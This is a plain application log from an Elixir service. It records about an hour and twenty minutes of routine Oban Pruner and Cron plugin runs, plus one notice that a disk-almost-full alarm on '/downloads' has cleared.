19:05:43.958 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:00.222 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:06:13.959 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:43.960 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:00.223 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:07:13.961 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:43.962 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.224 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:08:13.964 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:43.966 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:00.225 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:09:13.967 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:43.968 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.226 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:10:13.970 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:43.971 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:00.227 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:11:13.972 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:43.973 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.228 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:12:13.974 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:43.975 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:00.229 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:13:13.976 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:43.977 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:00.230 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:14:13.978 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:43.979 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.231 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:15:13.980 [info] {"source":"oban","duration":907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:43.982 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:00.232 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:16:13.983 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:43.985 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.233 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:17:13.986 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:43.987 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.234 [info] {"source":"oban","duration":270,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:18:13.988 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:43.989 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:00.235 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:19:13.991 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:43.992 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.236 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:20:13.994 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:43.995 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.237 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:21:13.995 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:43.997 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:00.238 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:22:13.998 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:43.999 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.239 [info] {"source":"oban","duration":323,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:23:14.000 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:44.001 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.240 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:24:14.002 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:44.003 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:00.241 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:25:14.004 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:44.005 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.242 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:26:14.006 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:44.007 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.243 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:27:14.008 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:44.009 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.244 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:28:14.010 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:44.011 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:00.245 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:29:14.012 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:44.013 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:00.246 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:30:14.014 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:44.015 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.247 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:31:14.016 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:44.017 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.248 [info] {"source":"oban","duration":271,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:32:14.019 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:44.020 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:00.249 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:33:14.021 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:44.022 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.250 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:34:14.023 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:44.024 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.251 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:35:14.025 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:44.026 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:00.252 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:36:14.027 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:44.028 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.253 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:37:14.029 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:44.031 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.254 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:38:14.032 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:44.033 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.255 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:39:14.034 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:44.035 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:00.256 [info] {"source":"oban","duration":134,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:40:14.036 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:44.037 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:00.257 [info] {"source":"oban","duration":79,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:41:14.038 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:44.039 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:00.258 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:42:14.040 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:44.041 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:00.259 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:43:14.042 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:44.044 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:00.260 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:44:14.045 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:44.046 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:00.261 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:45:14.047 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:44.048 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.262 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:46:14.049 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:44.050 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.263 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:47:14.051 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:44.052 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.264 [info] {"source":"oban","duration":281,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:48:14.053 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:44.054 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:00.265 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:49:14.055 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:44.056 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:00.266 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:50:14.057 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:44.058 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:00.267 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:51:14.059 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:44.060 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:00.268 [info] {"source":"oban","duration":367,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:52:14.061 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:44.062 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:00.269 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:53:14.063 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:44.064 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:00.270 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:54:14.065 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:44.066 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:00.271 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:55:14.067 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:44.068 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:00.272 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:56:14.069 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:44.070 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:00.273 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:57:14.071 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:44.072 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.274 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:58:14.073 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:44.074 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.275 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:59:14.075 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:44.076 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.276 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:00:14.078 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":3} 20:00:44.080 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:00.277 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:01:14.082 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:44.083 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:00.278 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:02:14.084 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:44.085 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:00.279 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:03:14.087 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:44.088 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:00.280 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:04:14.089 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:44.090 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.281 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:05:14.092 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:44.093 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.282 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:06:14.095 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:44.096 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:00.283 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:07:14.097 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:44.098 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:00.284 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:08:14.100 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:44.101 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.285 [info] {"source":"oban","duration":341,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:09:14.102 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:44.103 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:00.286 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:10:14.105 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:39.930 [notice] :alarm_handler: {:clear, {:disk_almost_full, ~c"/downloads"}} 20:10:44.106 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.287 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:11:14.107 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:44.108 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.288 [info] {"source":"oban","duration":338,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:12:14.109 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:44.110 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.289 [info] {"source":"oban","duration":266,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:13:14.111 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:44.112 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:00.290 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:14:14.113 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:44.114 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.291 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:15:14.115 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:44.116 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.292 [info] {"source":"oban","duration":332,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:16:14.117 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:44.118 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:00.293 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:17:14.119 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:44.120 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:00.294 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:18:14.121 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:44.122 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:00.295 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:19:14.123 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:44.124 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.296 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:20:14.125 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:44.127 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:00.297 [info] {"source":"oban","duration":266,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:21:14.129 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:44.130 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:00.298 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:22:14.131 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:44.132 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.299 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:23:14.133 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:44.134 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:00.300 [info] {"source":"oban","duration":329,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:24:14.135 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:44.136 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.301 [info] 